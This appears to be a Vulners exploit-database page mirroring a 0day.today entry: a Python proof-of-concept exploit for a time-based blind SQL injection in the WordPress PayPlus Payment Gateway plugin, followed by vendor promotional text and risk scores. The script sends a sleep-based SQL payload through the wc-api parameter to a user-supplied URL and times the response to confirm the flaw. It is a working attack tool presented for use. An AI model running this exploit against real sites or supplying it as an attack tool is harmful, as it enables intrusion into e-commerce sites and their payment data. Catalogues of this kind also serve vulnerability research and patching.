Lucene search
K

WordPress PayPlus Payment Gateway SQL Injection Exploit

🗓️ 07 Aug 2024 00:00:00Reported by j3r1ch0123Type 
zdt
 zdt
🔗 0day.today👁 148 Views

WordPress PayPlus Payment Gateway SQL Injection Exploi

Related
Code
#!/usr/bin/env python3.11
import requests
import time

def exploit(url):
    payload = {"wc-api": "payplus_gateway&status_code=true&more_info=(select*from(select(sleep(5)))a)"}

    start = time.time()
    with requests.Session() as session:
        session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
        })
        response = requests.get(url, params=payload)
        print(f"Exploiting {url}...")

        end = time.time()
        print(response.status_code)
        response_time = end - start
        print(f"Response time: {response_time}...")

if __name__ == "__main__":
    url = input("Enter the vulnerable URL (e.g., https://test.site): ")
    if not url.startswith("http"):
        url = "http://" + url
    exploit(url)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Aug 2024 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 3.19.8
EPSS0.90163
SSVC
148